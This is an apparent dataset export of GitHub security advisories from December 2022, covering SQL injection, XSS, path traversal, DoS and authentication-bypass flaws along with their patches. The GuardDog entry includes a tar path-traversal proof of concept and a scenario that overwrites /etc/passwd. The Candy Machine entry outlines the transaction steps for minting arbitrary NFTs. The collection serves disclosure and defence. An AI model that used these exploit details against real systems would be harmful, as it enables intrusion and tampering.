aswin1906/github-advisory-2022 huggingface dataset:
laravel-jqgrid vulnerable to SQL Injection
Advisory: GHSA-3fhj-wpvj-x5w8
Aliases: CVE-2021-4262
Published: 2022-12-19T15:30:29Z
Severity: type: CVSS_V3
score: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

A vulnerability classified as critical was found in laravel-jqgrid. Affected by this vulnerability is the function getRows of the file src/Mgallegos/LaravelJqgrid/Repositories/EloquentRepositoryAbstract.php. The manipulation leads to sql injection. The name of the patch is fbc2d94f43d0dc772767a5bdb2681133036f935e. It is recommended to apply a patch to fix this issue. The associated identifier of this vulnerability is VDB-216271.
TYPO3 vulnerable to Insufficient Session Expiration
Advisory: GHSA-53mm-hx32-6475
Aliases: CVE-2022-47406
Published: 2022-12-14T21:30:16Z
Severity: type: CVSS_V3
score: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

An issue was discovered in the fe_change_pwd (aka Change password for frontend users) extension before 2.0.5, and 3.x before 3.0.3, for TYPO3. The extension fails to revoke existing sessions for the current user when the password has been changed.
FurqanSoftware/node-whois vulnerable to Prototype Pollution
Advisory: GHSA-97jv-c342-5xhc
Aliases: CVE-2020-36618
Published: 2022-12-19T15:30:29Z
Severity: type: CVSS_V3
score: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

A vulnerability classified as critical has been found in Furqan node-whois. Affected is an unknown function of the file `index.coffee`. The manipulation leads to improperly controlled modification of object prototype attributes ('prototype pollution'). It is possible to launch the attack remotely. The name of the patch is 46ccc2aee8d063c7b6b4dee2c2834113b7286076. It is recommended to apply a patch to fix this issue. The identifier of this vulnerability is VDB-216252.
Smoothie vulnerable to Cross-site Scripting when tooltipLabel or strokeStyle are controlled by users
Advisory: GHSA-g662-qq45-ppwm
Aliases: CVE-2022-25929
Published: 2022-12-21T06:30:29Z
Severity: type: CVSS_V3
score: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N

The package smoothie from 1.31.0 and before 1.36.1 are vulnerable to Cross-site Scripting (XSS) due to improper user input sanitization in strokeStyle and tooltipLabel properties. Exploiting this vulnerability is possible when the user can control these properties.
.NET Framework Remote Code Execution Vulnerability.
Advisory: GHSA-9qcm-fqj9-93m4
Published: 2022-12-13T21:30:26Z
Withdrawn: 2022-12-14T21:32:34Z
Severity: type: CVSS_V3
score: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

.NET Framework Remote Code Execution Vulnerability.

Dupe of GHSA-2c7v-qcjp-4mg2
Prometheus Exporter-Toolkit is vulnerable to authentication bypass
Advisory: GHSA-7rg2-cxvp-9p7p
Aliases: CVE-2022-46146
Published: 2022-12-02T22:25:46Z
Severity: type: CVSS_V3
score: CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

### Impact

Prometheus and its exporters can be secured by a web.yml file that specifies usernames and hashed passwords for basic authentication.

Passwords are hashed with bcrypt, which means that even if you have access to the hash, it is very hard to find the original password back.

However, a flaw in the way this mechanism was implemented in the exporter toolkit makes it possible with people who know the hashed password to authenticate against Prometheus.

A request can be forged by an attacker to poison the internal cache used to cache the computation of hashes and make subsequent requests successful. This cache is used in both happy and unhappy scenarios in order to limit side channel attacks that could tell an attacker if a user is present in the file or not.

### Patches

The exporter-toolkit v0.7.3 and v0.8.2 have been released to address this issue.

### Workarounds

There is no workaround but attacker must have access to the hashed password, stored in disk, to bypass the authentication.

### Credit

We want to thank Lei Wan reporting this security issue.
Apache Zeppelin Cross-site Scripting vulnerability
Advisory: GHSA-9p8j-hrgf-jc2g
Aliases: CVE-2022-46870
Published: 2022-12-20T21:30:19Z
Severity: type: CVSS_V3
score: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N

An Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Apache Zeppelin allows logged-in users to execute arbitrary javascript in other users' browsers. This issue affects Apache Zeppelin before 0.8.2. Users are recommended to upgrade to a supported version of Zeppelin.
YAML Go package vulnerable to denial of service
Advisory: GHSA-r88r-gmrh-7j83
Aliases: CVE-2021-4235
Published: 2022-12-28T00:30:23Z
Severity: type: CVSS_V3
score: CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H

Due to unbounded alias chasing, a maliciously crafted YAML file can cause the system to consume significant system resources. If parsing user input, this may be used as a denial of service vector.
Jenkins Google Login Plugin Open Redirect vulnerability
Advisory: GHSA-v93c-cxj5-c398
Aliases: CVE-2022-46683
Published: 2022-12-12T09:30:35Z
Severity: type: CVSS_V3
score: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N

Jenkins Google Login Plugin 1.4 through 1.6 (both inclusive) improperly determines that a redirect URL after login is legitimately pointing to Jenkins. Google Login Plugin 1.7 only redirects to relative (Jenkins) URLs.
TYPO3 HTML Sanitizer vulnerable to Cross-Site Scripting
Advisory: GHSA-hvwx-qh2h-xcfj
Aliases: CVE-2022-23499
Published: 2022-12-13T16:59:12Z
Severity: type: CVSS_V3
score: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

### Problem
Due to a parsing issue in the upstream package [`masterminds/html5`](https://packagist.org/packages/masterminds/html5), malicious markup used in a sequence with special HTML CDATA sections cannot be filtered and sanitized. This allows bypassing the cross-site scripting mechanism of [`typo3/html-sanitizer`](https://packagist.org/packages/typo3/html-sanitizer).

Besides that, the upstream package `masterminds/html5` provides HTML raw text elements (`script`, `style`, `noframes`, `noembed` and `iframe`) as DOMText nodes, which were not processed and sanitized further. None of the mentioned elements were defined in the default builder configuration, that's why only custom behaviors, using one of those tag names, were vulnerable to cross-site scripting.

### Solution
Update to `typo3/html-sanitizer` versions 1.5.0 or 2.1.1 that fix the problem described.
Craft CMS discloses password hashes
Advisory: GHSA-h972-v458-m892
Aliases: CVE-2022-37783
Published: 2022-12-05T21:30:41Z
Severity: type: CVSS_V3
score: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

All Craft CMS versions between 3.0.0 and 3.7.32 disclose password hashes of users who authenticate using their E-Mail address or username in Anti-CSRF-Tokens. Craft CMS uses a cookie called CRAFT_CSRF_TOKEN and a HTML hidden field called CRAFT_CSRF_TOKEN to avoid Cross Site Request Forgery attacks. The CRAFT_CSRF_TOKEN cookie discloses the password hash in without encoding it whereas the corresponding HTML hidden field discloses the users' password hash in a masked manner, which can be decoded by using public functions of the YII framework.
markdown-it vulnerable to Inefficient Regular Expression Complexity
Advisory: GHSA-j5p7-jf4q-742q
Aliases: CVE-2015-10005
Published: 2022-12-27T09:30:41Z
Severity: type: CVSS_V3
score: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

A vulnerability was found in markdown-it up to 2.x. It has been classified as problematic. Affected is an unknown function of the file `lib/common/html_re.js`. The manipulation leads to inefficient regular expression complexity. Upgrading to version 3.0.0 is able to address this issue. The name of the patch is 89c8620157d6e38f9872811620d25138fc9d1b0d. It is recommended to upgrade the affected component. The identifier of this vulnerability is VDB-216852.
usememos/memos Cross-Site Request Forgery vulnerability
Advisory: GHSA-cwrm-33qq-4w2x
Aliases: CVE-2022-4846
Published: 2022-12-29T18:30:24Z
Severity: type: CVSS_V3
score: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N

Cross-Site Request Forgery (CSRF) in GitHub repository usememos/memos 0.9.0 and prior.
phpMyFAQ has insecure HTTP cookies
Advisory: GHSA-wpgc-5cr5-h9gg
Aliases: CVE-2022-4409
Published: 2022-12-11T15:30:44Z
Severity: type: CVSS_V3
score: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

phpMyFAQ is contains Sensitive Cookie in HTTPS Session Without 'Secure' Attribute in versions prior to 3.1.9.
Buildah (as part of Podman) vulnerable to Path Traversal
Advisory: GHSA-rprg-4v7q-87v7
Aliases: CVE-2022-4123
Published: 2022-12-08T18:30:50Z
Severity: type: CVSS_V3
score: CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N

A flaw was found in Buildah. The local path and the lowest subdirectory may be disclosed due to incorrect absolute path traversal, resulting in an impact to confidentiality.
usememos/memos makes Incorrect Use of Privileged APIs
Advisory: GHSA-fv6c-rfg3-gvjw
Aliases: CVE-2022-4687
Published: 2022-12-23T12:30:25Z
Severity: type: CVSS_V3
score: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N

Incorrect Use of Privileged APIs in GitHub repository usememos/memos prior to 0.9.0.
active_attr Improper Resource Shutdown or Release vulnerability
Advisory: GHSA-4whf-rmx5-8frv
Aliases: CVE-2021-4250
Published: 2022-12-19T00:30:23Z
Severity: type: CVSS_V3
score: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

A vulnerability classified as problematic has been found in cgriego active_attr up to 0.15.3. This affects the function call of the file lib/active_attr/typecasting/boolean_typecaster.rb of the component Regex Handler. The manipulation of the argument value leads to denial of service. The exploit has been disclosed to the public and may be used. Upgrading to version 0.15.4 can address this issue. The name of the patch is dab95e5843b01525444b82bd7b336ef1d79377df. It is recommended to upgrade the affected component. The associated identifier of this vulnerability is VDB-216207.
XStream can cause Denial of Service via stack overflow
Advisory: GHSA-j563-grx4-pjpv
Aliases: CVE-2022-41966
Published: 2022-12-29T01:48:08Z
Severity: type: CVSS_V3
score: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:H

### Impact
The vulnerability may allow a remote attacker to terminate the application with a stack overflow error resulting in a denial of service only by manipulating the processed input stream.

### Patches
XStream 1.4.20 handles the stack overflow and raises an InputManipulationException instead.

### Workarounds
The attack uses the hash code implementation for collections and maps to force recursive hash calculation causing a stack overflow. Following types of the Java runtime are affected:

- java.util.HashMap
- java.util.HashSet
- java.util.Hashtable
- java.util.LinkedHashMap
- java.util.LinkedHashSet
- Other third party collection implementations that use their element's hash code may also be affected

A simple solution is to catch the StackOverflowError in the client code calling XStream.

If your object graph does not use referenced elements at all, you may simply set the NO_REFERENCE mode:
```Java
XStream xstream = new XStream();
xstream.setMode(XStream.NO_REFERENCES);
```

If your object graph contains neither a Hashtable, HashMap nor a HashSet (or one of the linked variants of it) then you can use the security framework to deny the usage of these types:
```Java
XStream xstream = new XStream();
xstream.denyTypes(new Class[]{
 java.util.HashMap.class, java.util.HashSet.class, java.util.Hashtable.class, java.util.LinkedHashMap.class, java.util.LinkedHashSet.class
});
```

Unfortunately these types are very common. If you only use HashMap or HashSet and your XML refers these only as default map or set, you may additionally change the default implementation of java.util.Map and java.util.Set at unmarshalling time::
```Java
xstream.addDefaultImplementation(java.util.TreeMap.class, java.util.Map.class);
xstream.addDefaultImplementation(java.util.TreeSet.class, java.util.Set.class);
```
However, this implies that your application does not care about the implementation of the map and all elements are comparable.

### References
See full information about the nature of the vulnerability and the steps to reproduce it in XStream's documentation for [CVE-2022-41966](https://x-stream.github.io/CVE-2022-41966.html).

### For more information
If you have any questions or comments about this advisory:
* Open an issue in [XStream](https://github.com/x-stream/xstream/issues)
* Contact us at [XStream Google Group](https://groups.google.com/group/xstream-user)
HuTool vulnerable to Uncontrolled Resource Consumption
Advisory: GHSA-47vx-fqr5-j2gw
Aliases: CVE-2022-4565
Published: 2022-12-16T21:30:44Z
Severity: type: CVSS_V3
score: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

A vulnerability classified as problematic was found in Dromara HuTool up to 5.8.10. This vulnerability affects unknown code of the file cn.hutool.core.util.ZipUtil.java. The manipulation leads to resource consumption. The attack can be initiated remotely. The exploit has been disclosed to the public and may be used. Upgrading to version 5.8.11 is able to address this issue. It is recommended to upgrade the affected component.
Multiple vulnerabilities in extension "Newsletter subscriber management" (fp_newsletter)
Advisory: GHSA-f683-35w9-28g5
Aliases: CVE-2022-47408
Published: 2022-12-14T21:30:16Z
Severity: type: CVSS_V3
score: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N

The CAPTCHA of the extension can be bypassed which may result in automated creation of various newsletter subscribers. It is possible to provide arbitrary subscription UIDs to the `deleteAction` of the extension resulting in all newsletter subscribers to be unsubscribed. Insufficient access checks in the `createAction` and `unsubscribeAction` can be used to obtain data of existing newsletter subscribers.
usememos/memos vulnerable to stored Cross-site Scripting
Advisory: GHSA-gxqf-4g4p-q3hc
Aliases: CVE-2022-4839
Published: 2022-12-29T18:30:24Z
Severity: type: CVSS_V3
score: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N

Cross-site Scripting (XSS) - Stored in GitHub repository usememos/memos 0.9.0 and prior.
Golf may allow attacker to bypass CSRF protections due to weak PRNG
Advisory: GHSA-q9qr-jwpw-3qvv
Aliases: CVE-2016-15005
Published: 2022-12-28T00:30:23Z
Severity: type: CVSS_V3
score: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

CSRF tokens are generated using math/rand, which is not a cryptographically secure random number generator, allowing an attacker to predict values and bypass CSRF protections with relatively few requests.
collective.contact.widget is vulnerable to cross-site scripting 
Advisory: GHSA-5pqf-rvm7-3wgw
Aliases: CVE-2022-4638
Published: 2022-12-22T00:30:36Z
Severity: type: CVSS_V3
score: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

collective.contact.widget is an add-on is part of the collective.contact.* suite. A vulnerability classified as problematic was found in collective.contact.widget up to 1.12. This vulnerability affects the function title of the file src/collective/contact/widget/widgets.py. The manipulation leads to cross site scripting. The attack can be initiated remotely. The name of the patch is 5da36305ca7ed433782be8901c47387406fcda12. It is recommended to apply a patch to fix this issue. The identifier of this vulnerability is VDB-216496.
phpMyFAQ vulnerable to Cross-site Scripting
Advisory: GHSA-rjf6-wj7r-5fj2
Aliases: CVE-2022-4408
Published: 2022-12-11T15:30:45Z
Severity: type: CVSS_V3
score: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N

phpMyFAQ prior to version 3.1.9 is vulnerable to stored Cross-site Scripting (XSS).
rdiffweb vulnerable to Authentication Bypass by Primary Weakness
Advisory: GHSA-wf33-6x33-wcf9
Aliases: CVE-2022-4722
Published: 2022-12-27T15:30:19Z
Severity: type: CVSS_V3
score: CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H

In rdiffweb prior to 2.5.5, the username field is not unique to users. This allows exploitation of primary key logic by creating the same name with different combinations & may allow unauthorized access.
Jenkins Custom Build Properties Plugin vulnerable to Cross-site Scripting
Advisory: GHSA-5g2c-j6v9-vf94
Aliases: CVE-2022-46686
Published: 2022-12-12T09:30:35Z
Severity: type: CVSS_V3
score: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H

Jenkins Custom Build Properties Plugin 2.79.vc095ccc85094 and earlier does not escape property values and build display names on the Custom Build Properties and Build Summary pages, resulting in a stored cross-site scripting (XSS) vulnerability exploitable by attackers able to set or change these values. Custom Build Properties Plugin 2.82.v16d5b_d3590c7 escapes property values and build display names on the Custom Build Properties and Build Summary pages.
GuardDog vulnerable to arbitrary file write when scanning a specially-crafted remote PyPI package
Advisory: GHSA-78m5-jpmf-ch7v
Aliases: CVE-2022-23530
Published: 2022-12-05T23:34:43Z
Severity: type: CVSS_V3
score: CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:L/I:L/A:L

### Summary

Unsafe extracting using `shutil.unpack_archive()` from a remotely retrieved tarball may lead to writing the extracted file to an unintended destination.

### Details

Extracting files using `shutil.unpack_archive()` from a potentially malicious tarball without validating that the destination file path is within the intended destination directory can cause files outside the destination directory to be overwritten.  

The vulnerable code snippet is between [L153..158](https://github.com/DataDog/guarddog/blob/a1d064ceb09d39bb28deb6972bc0a278756ea91f/guarddog/scanners/package_scanner.py#L153..158). 

```python
response = requests.get(url, stream=True)

with open(zippath, "wb") as f:
      f.write(response.raw.read())

shutil.unpack_archive(zippath, unzippedpath)
```
It seems that a remotely retrieved tarball which could be with the extension `.tar.gz` happens to be unpacked using `shutil.unpack_archive()` with no destination verification/limitation of the extracted files.

### PoC

The PoC provided showcases the risk of extracting the non-harmless text file `sim4n6.txt` to a parent location rather than the current folder. 

```bash
> tar --list -f archive.tar
tar: Removing leading `../../../' from member names
../../../sim4n6.txt

> python3 
Python 3.10.6 (main, Nov  2 2022, 18:53:38) [GCC 11.3.0] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> import shutil
>>> shutil.unpack_archive("archive.tar")
>>> exit()

> file ../../../sim4n6.txt
../../../sim4n6.txt: ASCII text
```

### A Potential Attack Scenario

- An attacker may craft a malicious tarball with a filename path, such as `../../../../../../../../etc/passwd`, and then serve the archive remotely, thus, providing a possibility to overwrite the system files.

### Mitigation

Potential mitigation could be to:
- Use a safer module, like `zipfile`.
- Validate the location of the extracted files and discard those with malicious paths such as a relative path `..` or absolute ones.
Snipe-IT vulnerable to Cross Site Scripting for View Assigned Assets
Advisory: GHSA-363q-j92x-7543
Aliases: CVE-2022-44380
Published: 2022-12-25T06:30:21Z
Severity: type: CVSS_V3
score: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N

Snipe-IT before 6.0.14 is vulnerable to Cross Site Scripting (XSS) for View Assigned Assets.
Noise vulnerable to denial of service
Advisory: GHSA-6cr6-fmvc-vw2p
Aliases: CVE-2021-4239
Published: 2022-12-28T00:30:23Z
Severity: type: CVSS_V3
score: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:H/A:H

Noise is a Go implementation of the Noise Protocol Framework. The Noise protocol implementation suffers from weakened cryptographic security after encrypting 2^64 messages, and a potential denial of service attack. After 2^64 (~18.4 quintillion) messages are encrypted with the Encrypt function, the nonce counter will wrap around, causing multiple messages to be encrypted with the same key and nonce. In a separate issue, the Decrypt function increments the nonce state even when it fails to decrypt a message. If an attacker can provide an invalid input to the Decrypt function, this will cause the nonce state to desynchronize between the peers, resulting in a failure to encrypt all subsequent messages.
kube-httpcache is vulnerable to Cross-Site Request Forgery (CSRF)
Advisory: GHSA-47xh-qxqv-mgvg
Published: 2022-12-02T22:24:44Z

### Impact

> A request forgery attack can be performed on Varnish Cache servers that have the HTTP/2 protocol turned on. An attacker may introduce characters through the HTTP/2 pseudo-headers that are invalid in the context of an HTTP/1 request line, causing the Varnish server to produce invalid HTTP/1 requests to the backend. This may in turn be used to successfully exploit vulnerabilities in a server behind the Varnish server.
> -- https://varnish-cache.org/security/VSV00011.html#vsv00011

### Patches

This is fixed in Varnish 6.0.11; Varnish 6.0.11 is available in `kube-httpcache` versions v0.7.1 and later.

### Workarounds

See [upstream mitigation hints](https://varnish-cache.org/security/VSV00011.html#mitigation).

### References

- https://varnish-cache.org/security/VSV00011.html#vsv00011
TYPO3 CMS vulnerable to Denial of Service in Page Error Handling
Advisory: GHSA-8c28-5mp7-v24h
Aliases: CVE-2022-23500
Published: 2022-12-13T17:02:09Z
Severity: type: CVSS_V3
score: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H

### Problem
Requesting invalid or non-existing resources via HTTP triggers the page error handler, which again could retrieve content to be shown as an error message from another page. This leads to a scenario in which the application is calling itself recursively - amplifying the impact of the initial attack until the limits of the web server are exceeded.

This vulnerability is very similar, but not identical, to the one described in [TYPO3-CORE-SA-2021-005](https://typo3.org/security/advisory/typo3-core-sa-2021-005) (CVE-2021-21359).

### Solution
Update to TYPO3 versions 9.5.38 ELTS, 10.4.33 or 11.5.20 that fix the problem described above.

### References
* [TYPO3-CORE-SA-2022-012](https://typo3.org/security/advisory/typo3-core-sa-2022-012)
docconv OS Command Injection vulnerability
Advisory: GHSA-6m4h-hfpp-x8cx
Aliases: CVE-2022-4643
Published: 2022-12-22T00:30:36Z
Severity: type: CVSS_V3
score: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

A vulnerability was found in docconv prior to version 1.2.1. It has been declared as critical. This vulnerability affects the function ConvertPDFImages of the file pdf_ocr.go. The manipulation of the argument path leads to os command injection. The attack can be initiated remotely. Upgrading to version 1.2.1 can address this issue. The name of the patch is b19021ade3d0b71c89d35cb00eb9e589a121faa5. It is recommended to upgrade the affected component. VDB-216502 is the identifier assigned to this vulnerability.
Cloud Foundry Archiver vulnerable to path traversal
Advisory: GHSA-32qh-8vg6-9g43
Aliases: CVE-2018-25046
Published: 2022-12-28T00:30:23Z
Severity: type: CVSS_V3
score: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H

Due to improper path santization, archives containing relative file paths can cause files to be written (or overwritten) outside of the target directory.
lite-server vulnerable to Denial of Service
Advisory: GHSA-89w7-5q45-r53w
Aliases: CVE-2022-25940
Published: 2022-12-20T06:30:36Z
Severity: type: CVSS_V3
score: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

All versions of package lite-server are vulnerable to Denial of Service (DoS) when an attacker sends an HTTP request and includes control characters that the `decodeURI()` function is unable to parse.
Echo vulnerable to directory traversal
Advisory: GHSA-j453-hm5x-c46w
Aliases: CVE-2020-36565
Published: 2022-12-07T18:30:26Z
Severity: type: CVSS_V3
score: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N

Due to improper sanitization of user input on Windows, the static file handler allows for directory traversal, allowing an attacker to read files outside of the target directory that the server has permission to read.
rdiffweb vulnerable to Open Redirect
Advisory: GHSA-h5wp-jrqc-cwwx
Aliases: CVE-2022-4720
Published: 2022-12-27T15:30:19Z
Severity: type: CVSS_V3
score: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:L

Open Redirect in GitHub repository ikus060/rdiffweb prior to 2.5.5.
Jenkins Gitea Plugin vulnerable to Cleartext Transmission of Sensitive Information
Advisory: GHSA-x3qh-53qf-jxq9
Aliases: CVE-2022-46685
Published: 2022-12-12T09:30:35Z
Severity: type: CVSS_V3
score: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N

In Jenkins Gitea Plugin 1.4.4 and earlier, the implementation of Gitea personal access tokens did not support credentials masking, potentially exposing them through the build log.

Gitea Plugin 1.4.5 adds support for masking of Gitea personal access tokens.

Administrators unable to update are advised to use SSH checkout instead.
text_helpers uses web link to untrusted target with window.opener access
Advisory: GHSA-74hc-57m5-83ch
Aliases: CVE-2020-36624
Published: 2022-12-22T12:30:17Z
Severity: type: CVSS_V3
score: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

A vulnerability was found in ahorner text-helpers 1.1.0/1.1.1. This vulnerability affects unknown code of the file lib/text_helpers/translation.rb. The manipulation of the argument link leads to use of web link to untrusted target with window.opener access. The attack can be initiated remotely. Upgrading to version 1.2.0 can address this issue. The name of the patch is 184b60ded0e43c985788582aca2d1e746f9405a3. It is recommended to upgrade the affected component. The identifier of this vulnerability is VDB-216520.
efs-utils and aws-efs-csi-driver have race condition during concurrent TLS mounts
Advisory: GHSA-4fv8-w65m-3932
Aliases: CVE-2022-46174
Published: 2022-12-30T16:57:49Z
Severity: type: CVSS_V3
score: CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:N/I:L/A:L

### Impact
A potential race condition issue exists within the Amazon EFS mount helper in efs-utils versions v1.34.3 and below, and aws-efs-csi-driver versions v1.4.7 and below. When using TLS to mount file systems, the mount helper allocates a local port for stunnel to receive NFS connections prior to applying the TLS tunnel. In affected versions, concurrent mount operations can allocate the same local port, leading to either failed mount operations or an inappropriate mapping from an EFS customer’s local mount points to that customer’s EFS file systems.

Affected versions: efs-utils <= v1.34.3, aws-efs-csi-driver <= v1.4.7

### Patches
The patches are included in efs-utils version v1.34.4 and newer, and in aws-efs-csi-driver v1.4.8 and newer.

### Workarounds
There is no recommended work around. We recommend affected users update the installed version of efs-utils to v1.34.4+ or aws-efs-csi-driver to v1.4.8+ to address this issue.

### References
https://github.com/aws/efs-utils/commit/f3a8f88167d55caa2f78aeb72d4dc1987a9ed62d
https://github.com/aws/efs-utils/issues/125
https://github.com/kubernetes-sigs/aws-efs-csi-driver/issues/282
https://github.com/kubernetes-sigs/aws-efs-csi-driver/issues/635
Candy Machine Set Collection During Mint Missing Check
Advisory: GHSA-9v25-r5q2-2p6w
Published: 2022-12-12T22:03:19Z

A problem with Candy Machine V2 allow minting NFTs to an arbitrary collection due to a missing check.

Here is a description of the exploit:
Details:
Here is the tx/ix to exploit:
Transaction:
Ix 1: candy_machine v2, mint_nft, passing in empty metadata -1
Ix 2: custom handler, 0
		cpi A --> token_metadata create_metadata_account, creates NFT
		cpi B --> candy_machine v2, set_collection_during_mint
Ix 1 passes our first check for empty metadata, but eventually will hit a bot tax and return Ok.  We do have a CPI check in this function but even if we hit that or moved it to the top, it returns Ok as a bot tax and still enables the issue.
Ix 2, cpi A is Ok and mints an arbitrary NFT.
Ix 2, cpi B checks the previous instruction using index_relative_to_current-1.  This turns out to be Ix 1 which was Ok, so then your newly minted arbitrary NFT is successfully added to the collection.
Conclusion:
Candy machine could be out of NFTs and it still works.  If the CM is closed, (we think?) it doesn't get to the check.
The fix needs to be in set_collection_during_mint that current program ID id candy_machine_v2.  It checks previous program ID but doesn't check current.

NOTE: THIS DOES NOT AFFECT Cmv3
go-saml's XML Digital Signatures use SHA-1
Advisory: GHSA-5rhg-xhgr-5hfj
Aliases: CVE-2020-36563
Published: 2022-12-28T03:30:28Z
Severity: type: CVSS_V3
score: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N

XML Digital Signatures generated and validated using this package use SHA-1, which may allow an attacker to craft inputs which cause hash collisions depending on their control over the input.
mellium.im/sasl authentication failure due to insufficient nonce randomness
Advisory: GHSA-gvfj-fxx3-j323
Aliases: CVE-2022-48195
Published: 2022-12-31T03:30:26Z
Severity: type: CVSS_V3
score: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

An issue was discovered in Mellium mellium.im/sasl before 0.3.1. When performing SCRAM-based SASL authentication, if the remote end advertises support for channel binding, no random nonce is generated (instead, the nonce is empty). This causes authentication to fail in the best case, but (if paired with a remote end that does not validate the length of the nonce) could lead to insufficient randomness being used during authentication.
Apache Bookkeeper vulnerable to Improper Certificate Validation
Advisory: GHSA-gxq5-79m2-gvvq
Aliases: CVE-2022-32531
Published: 2022-12-15T21:30:29Z
Severity: type: CVSS_V3
score: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:N

The Apache Bookkeeper Java Client (before 4.14.6 and also 4.15.0) does not close the connection to the bookkeeper server when TLS hostname verification fails. This leaves the bookkeeper client vulnerable to a man in the middle attack. The problem affects BookKeeper client prior to versions 4.14.6 and 4.15.1.
Unchecked return value from xmlTextReaderExpand
Advisory: GHSA-qv4q-mr5r-qprj
Aliases: CVE-2022-23476
Published: 2022-12-08T03:03:33Z
Severity: type: CVSS_V3
score: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

## Summary

Nokogiri `1.13.8, 1.13.9` fails to check the return value from `xmlTextReaderExpand` in the method `Nokogiri::XML::Reader#attribute_hash`. This can lead to a null pointer exception when invalid markup is being parsed. 

For applications using `XML::Reader` to parse untrusted inputs, this may potentially be a vector for a denial of service attack.


## Mitigation

Upgrade to Nokogiri `>= 1.13.10`.

Users may be able to search their code for calls to either `XML::Reader#attributes` or `XML::Reader#attribute_hash` to determine if they are affected.


## Severity

The Nokogiri maintainers have evaluated this as [High Severity 7.5 (CVSS3.1)](https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H).


## References

- [CWE - CWE-252: Unchecked Return Value (4.9)](https://cwe.mitre.org/data/definitions/252.html)
- [CWE - CWE-476: NULL Pointer Dereference (4.9)](https://cwe.mitre.org/data/definitions/476.html)


## Credit

This vulnerability was responsibly reported by @davidwilemski.
Graphite Web Cross-site Scripting vulnerability
Advisory: GHSA-m973-4vpc-x43c
Aliases: CVE-2022-4730
Published: 2022-12-27T15:30:19Z
Severity: type: CVSS_V3
score: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N

A vulnerability was found in Graphite Web. It has been classified as problematic. Affected is an unknown function of the component Absolute Time Range Handler. The manipulation leads to cross site scripting. It is possible to launch the attack remotely. The exploit has been disclosed to the public and may be used. The name of the patch is 2f178f490e10efc03cd1d27c72f64ecab224eb23. It is recommended to apply a patch to fix this issue. The identifier of this vulnerability is VDB-216744.
npm package rfc6902 vulnerable to Prototype Pollution
Advisory: GHSA-p495-jxh2-wrfg
Aliases: CVE-2021-4245
Published: 2022-12-15T21:30:28Z
Severity: type: CVSS_V3
score: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

A vulnerability classified as problematic has been found in chbrown rfc6902. This affects an unknown part of the file pointer.ts. The manipulation leads to improperly controlled modification of object prototype attributes ('prototype pollution'). The exploit has been disclosed to the public and may be used. The name of the patch is c006ce9faa43d31edb34924f1df7b79c137096cf. It is recommended to apply a patch to fix this issue. The associated identifier of this vulnerability is VDB-215883.
DNS NuGet package uses insufficiently random values
Advisory: GHSA-g3wc-xv93-445q
Aliases: CVE-2021-4248
Published: 2022-12-18T12:30:20Z
Severity: type: CVSS_V3
